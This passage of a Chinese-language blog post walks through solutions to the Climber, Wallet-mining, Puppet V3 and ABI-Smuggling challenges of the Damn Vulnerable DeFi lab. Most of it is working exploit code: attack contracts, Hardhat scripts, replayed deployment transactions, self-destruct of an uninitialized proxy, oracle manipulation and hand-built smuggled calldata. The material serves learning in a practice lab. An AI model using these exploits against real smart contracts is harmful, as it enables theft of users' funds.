    modifier onlySweeper() {
        if (msg.sender != _sweeper) {
            revert CallerNotSweeper();
        }
        _;
    }

    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers();
    }

    function initialize(address admin, address proposer, address sweeper) external initializer {
        // Initialize inheritance chain
        __Ownable_init();
        __UUPSUpgradeable_init();

        // Deploy timelock and transfer ownership to it
        transferOwnership(address(new ClimberTimelock(admin, proposer)));

        _setSweeper(sweeper);
        _updateLastWithdrawalTimestamp(block.timestamp);
    }

    // Allows the owner to send a limited amount of tokens to a recipient every now and then
    function withdraw(address token, address recipient, uint256 amount) external onlyOwner {

        // Cancel AnyRestrictions
        SafeTransferLib.safeTransfer(token, recipient, IERC20(token).balanceOf(address(this)));
    }

    // Allows trusted sweeper account to retrieve any tokens
    function sweepFunds(address token) external onlySweeper {
        SafeTransferLib.safeTransfer(token, _sweeper, IERC20(token).balanceOf(address(this)));
    }

    function getSweeper() external view returns (address) {
        return _sweeper;
    }

    function _setSweeper(address newSweeper) private {
        _sweeper = newSweeper;
    }

    function getLastWithdrawalTimestamp() external view returns (uint256) {
        return _lastWithdrawalTimestamp;
    }

    function _updateLastWithdrawalTimestamp(uint256 timestamp) private {
        _lastWithdrawalTimestamp = timestamp;
    }

    // By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
    function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
}

同时,我发现不能直接将propose动作打包进去,因为会有一个循环依赖的过程(我生我自己),所以需要推举攻击合约为proposer,并通过call让攻击合约提案。

攻击合约如下,其实写的有点啰嗦,生成payload的过程是可以放一起的。但就这样吧!

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./ClimberTimelock.sol";
import "hardhat/console.sol";
import {ADMIN_ROLE, PROPOSER_ROLE, MAX_TARGETS, MIN_TARGETS, MAX_DELAY} from "./ClimberConstants.sol";


contract HackerClimber {

    ClimberTimelock timeClock;
    address upgrade;
    address vault;
    address token;
    address owner;

    constructor(address _target,
                address _upgrade,
                address _vault,
                address _token
                ){
                    timeClock = ClimberTimelock(payable(_target));
                    upgrade = _upgrade;
                    vault = _vault;
                    token = _token;
                    owner = msg.sender;
                }
    
    function attack() public{

        console.log( timeClock.delay() );

        address[] memory targets = new address[](5);
        uint[] memory values = new uint[](5);
        bytes[] memory calldatas = new bytes[](5);

        targets[0] = address(timeClock);
        values[0] = 0;
        calldatas[0] = abi.encodeWithSignature(
                            "grantRole(bytes32,address)",
                            PROPOSER_ROLE,
                            address(this)
                        );
        
        targets[1] = address(timeClock);
        values[1] = 0;
        calldatas[1] = abi.encodeWithSignature(
                            "updateDelay(uint64)",
                            0
                        );
        
        targets[2] = vault;
        values[2] = 0;
        calldatas[2] = abi.encodeWithSignature(
                            "upgradeTo(address)",
                            upgrade
                        );
        

        targets[3] = address(this);
        values[3] = 0;
        calldatas[3] = abi.encodeWithSignature(
                            "attack2()"
                        );
        

        targets[4] = vault;
        values[4] = 0;
        calldatas[4] = abi.encodeWithSignature(
                            "withdraw(address,address,uint256)",
                            token,
                            owner,
                            0
                        );       

        timeClock.execute(targets, values, calldatas, "");
        console.log( timeClock.delay() );

        
    }

    function attack2() external {

        console.log("scheduled");
        console.log( timeClock.delay() );

        address[] memory targets = new address[](5);
        uint[] memory values = new uint[](5);
        bytes[] memory calldatas = new bytes[](5);

        targets[0] = address(timeClock);
        values[0] = 0;
        calldatas[0] = abi.encodeWithSignature(
                            "grantRole(bytes32,address)",
                            PROPOSER_ROLE,
                            address(this)
                        );
        
        targets[1] = address(timeClock);
        values[1] = 0;
        calldatas[1] = abi.encodeWithSignature(
                            "updateDelay(uint64)",
                            0
                        );
        
        targets[2] = vault;
        values[2] = 0;
        calldatas[2] = abi.encodeWithSignature(
                            "upgradeTo(address)",
                            upgrade
                        );
        

        targets[3] = address(this);
        values[3] = 0;
        calldatas[3] = abi.encodeWithSignature(
                            "attack2()"
                        );
        

        targets[4] = vault;
        values[4] = 0;
        calldatas[4] = abi.encodeWithSignature(
                            "withdraw(address,address,uint256)",
                            token,
                            owner,
                            0
                        );
        
        timeClock.schedule(targets, values, calldatas, "");
    }
}

实际操作见test/climber/climber.challenge.js

    it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        const upgradeContract = await (await ethers.getContractFactory('UpgradeClimberVault', player)).deploy(
        );
        console.log("upgradeContract Inited ... : ",upgradeContract.address);
        
        const hacker = await (await ethers.getContractFactory('HackerClimber', player)).deploy(
            timelock.address,
            upgradeContract.address,
            vault.address,
            token.address
        );

        hacker.connect(player).attack();
    });

13. Wallet-mining

解决思路:

查看最后要求,首先发现要求我们要能够部署(没有私钥)factorymastercopy合约,且还要在同一个地址。

我们先解决这一问题

        // Factory account must have code
        expect(
            await ethers.provider.getCode(await walletDeployer.fact())
        ).to.not.eq('0x');

这可能吗?我记得合约地址如果通过CREATE来计算:

addr = hash(msg.sender, nonce)

如果是CREATE2,则是

addr = hash("oxff",msg.sender,salt,calldata)

以上表明合约是可以创建出来的,并在创建之前已经可以知道其地址,这使得跨链服务成为可能。

但我们创建合约的player很明显也不是链上创建者的地址,能做到吗?

OP丢失了价值2000万美元的OP通证,这里主要问题就是重放攻击!

但为什么能重放呢,这是因为在创建合约时,发出的经过签名的data未经过EIP155保护,不含有ChainId,因此简单重放就能假冒受害者完成该nonce下的部署。(部署合约需要使用sendRawTransaction发送已签名的交易数据。因为部署合约的交易是一笔特殊的交易类型,需要在交易数据中包含新合约的字节码,以及其他合约初始化参数。这些信息需要通过部署合约前的合约编译得到,然后使用私钥对交易数据进行签名,并将签名后的交易数据发送给以太坊网络进行处理。而RPC节点会通过RLP反序列化反推出公钥、地址等信息,从而可以实现冒充)。再补充一下(一旦交易被签名后,交易数据就不可更改,直到交易被打包进区块中。当交易到达 RPC 节点时,节点会验证交易的签名是否有效,并将交易解析为 RLP 格式,然后将其广播到整个网络中。在这个过程中,签名是不会被修改的。RLP 格式包含交易的各个字段,包括发送方地址。)

我们先从etherscan上找到raw data(more -> get Raw transaction Hash),随后在test/wallet-mining/wallet-mining.challenge.js中进行攻击:

        console.log("player address is %s",player.address);
        const deployCode = require("./deployCode.json");

        
        const victim = "0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a";
        await player.sendTransaction(
            {
    
    
                to : victim,
                value : ethers.utils.parseEther("1")
            }
        );
        console.log("victim received eth in wei : %s", await ethers.provider.getBalance(victim));


        console.log("deploying safe ...");
        const deployCopy = await (await ethers.provider.sendTransaction(deployCode.copy)).wait();
        console.log("Success! Safe deployed at %s",deployCopy.contractAddress);

        console.log("random Transaction");
        (await ethers.provider.sendTransaction(deployCode.random)).wait();

        console.log("deploying factory ...");
        const deployFac = await (await ethers.provider.sendTransaction(deployCode.fact)).wait();
        console.log("Success! Fac deployed at %s",deployFac.contractAddress);

        console.log("victim received eth in wei : %s", await ethers.provider.getBalance(victim));

此时,尽管是player假冒,但扣的依旧是victim的ETH,这就是签名重放的危害。(切记一定要注意顺序,因为nonce仍是victim的地址)。

我们接下来的传入不会通过WalletDeployer进行,因为它创建proxy时所指定的逻辑地址是copy。而我们则是想转账回去,所以我们自己手写攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";

contract HackerWalletMining1 {

    constructor(){

    }

    function tryHack(IERC20 token,address receiver) public{
        if (token.balanceOf(address(this))!=0){
            console.log("attacking...");
            token.transfer(receiver,token.balanceOf(address(this)));
            console.log("finish transfering");
        }
    }


}

很明显,我们要通过proxyFactory生成合约,如果对应token有余额,则我们会进行转出。

        const hacker1 = await (await ethers.getContractFactory('HackerWalletMining1', player)).deploy();

        const calldata = hacker1.interface.encodeFunctionData(
            "tryHack(address,address)",[token.address,player.address]
        );

        const factory = (await ethers.getContractFactory("GnosisSafeProxyFactory")).attach(deployFac.contractAddress);
        console.log("Get Factory instance : %s",factory.address);

        for (i = 0; i < 100; i++){
           await factory.connect(player).createProxy(hacker1.address,calldata);
        }

很幸运,我们已经从空闲地址转移出来了通证,下面就是试着拿到walletDeployer中的43个通证了。这个切入点就是看看能不能将合约升级,can返回值永远通过!

我们发现AuthorizerUpgradeable的逻辑合约尚未初始化,所以我们可以初始化并升级合约。但要升级成什么样子?由于walletDeployer中通过staticCall获取信息:

        assembly { 
            let m := sload(0)
            if iszero(extcodesize(m)) {return(0, 0)}
            let p := mload(0x40)
            mstore(0x40,add(p,0x44))
            mstore(p,shl(0xe0,0x4538c4eb))
            mstore(add(p,0x04),u)
            mstore(add(p,0x24),a)
            if iszero(staticcall(gas(),m,p,0x44,p,0x20)) {return(0,0)}
            if and(not(iszero(returndatasize())), iszero(mload(p))) {return(0,0)}
        }

如果我们将合约自毁,就可以绕过这里面的限制。从而有

console.log(await walletDeployer.callStatic.can(player.address,DEPOSIT_ADDRESS)); // True!!!

所以我们编写自毁合约HackerWalletMining2

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";

import "hardhat/console.sol";

contract HackerWalletMining2 is Initializable, OwnableUpgradeable, UUPSUpgradeable {

    constructor(){

    }

    function hack(address receiver) public{
        console.log("destruct");
        selfdestruct(payable(receiver));
    }

    function upgradeToAndCall(address imp, bytes memory wat) external payable override {
        _authorizeUpgrade(imp);
        _upgradeToAndCallUUPS(imp, wat, true);
    }

    function _authorizeUpgrade(address imp) internal override onlyOwner {}

}

然后我们在test/wallet-mining/wallet-mining.challenge.js中编写,这里我们通过init获取到逻辑合约的权限,并通过upgradeToAndCall完成自毁。

此时就可以绕过walletDeployer的检查。从而通过发送setup(要求,前面有提过)通过WalletDeployer创建合约并绕过检查。

const logicContract = (await ethers.getContractFactory("AuthorizerUpgradeable")).attach(logicContractAddress);
        await logicContract.connect(player).init([],[]);
        
        const hacker2 = await (await ethers.getContractFactory('HackerWalletMining2', player)).deploy();
        console.log("hacker 2 contract deployed : %s",hacker2.address);

        const calldata2 = hacker2.interface.encodeFunctionData(
            "hack(address)",[player.address]
        );

        console.log(calldata2);

        await logicContract.connect(player).upgradeToAndCall(hacker2.address,calldata2);
        
        // configure setup
        const calldata3 = new ethers.utils.Interface(["function setup(address[] calldata _owners, uint256 _threshold, address to, bytes calldata data, address fallbackHandler, address paymentToken, uint256 payment, address payable paymentReceiver)"])
                            .encodeFunctionData(
                                "setup(address[],uint256,address,bytes,address,address,uint256,address)",
                                [[player.address],
                                1,
                                "0x0000000000000000000000000000000000000000",
                                0,
                                "0x0000000000000000000000000000000000000000",
                                "0x0000000000000000000000000000000000000000",
                                0,
                                "0x0000000000000000000000000000000000000000",]
                            );
        console.log("success configured calldata3 ", calldata3);

        for (i = 0; i < 43 ; i++){
    
    
            await walletDeployer.connect(player).drop(calldata3);
        }

14. Puppet - V3

解题思路:

Uniswap V3 喂价采用的是time-weighted average price(TWAP),即随着时间比重算出加权后的价格。所以很明显,在同一笔交易内是不可能完成的了,因此闪电贷的思路可以歇歇了。

整体思路不变,先“砸盘”,等价格下来了(过一段时间),再借不迟!

我们还是先找到uniswap的Router为0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45。同时为了能够生成实例,安装依赖npm install @uniswap/swap-router-contracts

选用exactInputSingle函数进行交换(已经存在相关的池子)。进行砸盘,并通过轮询,找到合适的价格并入场。

test/puppet-v3/puppet-v3.challenge.js中攻击如下,在110s左右价格就达到了合适的入场点位。

    it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        console.log("before Swapping...");
        console.log("token : %s", await token.balanceOf(player.address));
        console.log("ETH : %s", await ethers.provider.getBalance(player.address));
        console.log("WETH : %s", await weth.balanceOf(player.address));

        const routerAddr = "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45";
        const routerJson = require('@uniswap/swap-router-contracts/artifacts/contracts/SwapRouter02.sol/SwapRouter02.json');

        const router = new ethers.Contract(routerAddr, routerJson.abi, player);
        console.log("router created ... %s", router.address );

        await token.connect(player).approve(router.address,PLAYER_INITIAL_TOKEN_BALANCE);

        await router.connect(player).exactInputSingle(
            [
            token.address,
            weth.address,
            3000,
            player.address,
            PLAYER_INITIAL_TOKEN_BALANCE,
            0,
            0
            ]
        )

        console.log("before Swapping...");
        console.log("token : %s", await token.balanceOf(player.address));
        console.log("ETH : %s", await ethers.provider.getBalance(player.address));
        console.log("WETH : %s", await weth.balanceOf(player.address));
        const value = BigNumber.from(await weth.balanceOf(player.address));
        for (i = 1; i < 115; i++){
    
    
            time.increase(1);
            const needToDeposit = await lendingPool.callStatic.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE);
            console.log("after %s seconds",i);
            console.log(value);
            console.log(needToDeposit);
            if (value.gt(needToDeposit)){
    
    
                console.log("exit",i);
                break;
            }
        }
        time.increase(3);
        await weth.connect(player).approve(lendingPool.address,await weth.balanceOf(player.address));
        await lendingPool.connect(player).borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);

    });

V3 能有效防止价格操纵。。因为随着时间的增加,进入了多人博弈。


15 ABI-Smuggling

解决思路:

检查传入的id

        console.log("sweeping : %s ",ethers.utils.id("sweepFunds(address,address)"));
        console.log("withdraw : %s ",ethers.utils.id("withdraw(address,address,uint256)"));

可知,player允许withdrawdeployer则是sweep。仔细检查,·发现问题可能出现在execute函数中。

    function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
        // Read the 4-bytes selector at the beginning of `actionData`
        bytes4 selector;
        uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
        assembly {
            selector := calldataload(calldataOffset)
        }

        if (!permissions[getActionId(selector, msg.sender, target)]) {
            revert NotAllowed();
        }

        _beforeFunctionCall(target, actionData);

        return target.functionCall(actionData);
    }

这里先计算出calldataOffset从而获取selector,从而验证用户是否具有权限。最后再进行target.functionCall。但用这样解构actionData有没有漏洞呢,我们又没有办法可以实现偷梁换柱呢?

在调用execute时,整体callData如下(注意actionData是):

FS (4 bytes) 函数选择器(Selector) 0xaaaaaaaa
0x00 (32 bytes) target(address)
0x20 (32 bytes) actiondata location 0x40
0x40 (32 bytes) actiondata length
0x60 actiondata contens

uint256 calldataOffset = 4 + 32 * 3;实际上就是赵的actiondata开头的bytes4

这是建立在actiondata location正确指向actiondata length,两者被正确pack的情况。如果我们在locationactiondatalength中间插入一段无意义字节,但仍能够正确指向,evm依旧能够正确识别!(此时不在slot里,不需要严格按照slot 32字节对齐,但最后一定要是32的整数,能够对齐)。

最终生成,详细信息见注释:

0x1cff79cd // execute
000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512  // address(vault)

0000000000000000000000000000000000000000000000000000000000000064  // 32 + 32 + 32 + 4 =100 = 0x64(不算一开始的execute)
0000000000000000000000000000000000000000000000000000000000000000  // random 0 paading (fixed 32 b)
d9caed12 // withdraw
0000000000000000000000000000000000000000000000000000000000000044  // calldata size (4 + 32 + 32 = 68 = 0x44)
85fb709d // sweep
0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc // recovery.address
0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3 // token.address
000000000000000000000000000000000000000000000000 // 补全0

具体生成过程见test/abi-smuggling/abi-smuggling.challenge.js

    it('Execution', async function () {
    
    
        /** CODE YOUR SOLUTION HERE */
        console.log("sweeping : %s ",ethers.utils.id("sweepFunds(address,address)"));
        console.log("withdraw : %s ",ethers.utils.id("withdraw(address,address,uint256)"));
        
        const executeSig = await vault.interface.getSighash(
            await vault.interface.getFunction("execute")
        );
        console.log(executeSig);

        const vaultAddr = await ethers.utils.hexZeroPad(
            vault.address,
            32
        );
        console.log(vaultAddr);

        const randoms = await ethers.utils.hexZeroPad(
            "0x0",
            32
        );
        console.log(randoms);

        // length 32*2 + 4 = 68 = 0x44
        const actionDataContent = await vault.interface.encodeFunctionData(
            "sweepFunds(address,address)",
            [recovery.address,
            token.address]
        );
        console.log(actionDataContent);

        const actionDataLength = await ethers.utils.hexZeroPad(
            "0x44",
            32
        );

        const withdraw = await vault.interface.getSighash(
            await vault.interface.getFunction("withdraw")
        );

        // 32 bytes + 32 bytes + 32bytes + 4 bytes = 100 bytes = 0x64
        const  actionDataStore = await ethers.utils.hexZeroPad(
            "0x64",
            32
        )
        
        // 32 + 32 + 4 + 32 + 100 + 24 = 224 = 32 * 7 
        const padding  = await ethers.utils.hexZeroPad(
            "0x0",
            24
        );

        const action = await ethers.utils.hexConcat(
            [actionDataStore, randoms, withdraw, actionDataLength, actionDataContent,padding]
        );

        const calldata = await ethers.utils.hexConcat(
            [executeSig,vaultAddr,action]
        );

        console.log(calldata);

        await player.sendTransaction({
    
    
            to: vault.address,
            data : calldata
        });


    });

总结

很开心,完成了Damn Vulnerable Defi的挑战。区块链安全真的内容很多,充满机会,但也是黑暗森林,不得不防守。接下来,我会开展DefiHackLabs的分享。欢迎关注!

BTW,我目前也有想换一个工作环境,Open to Opportunities!

猜你喜欢

转载自blog.csdn.net/weixin_43982484/article/details/130178435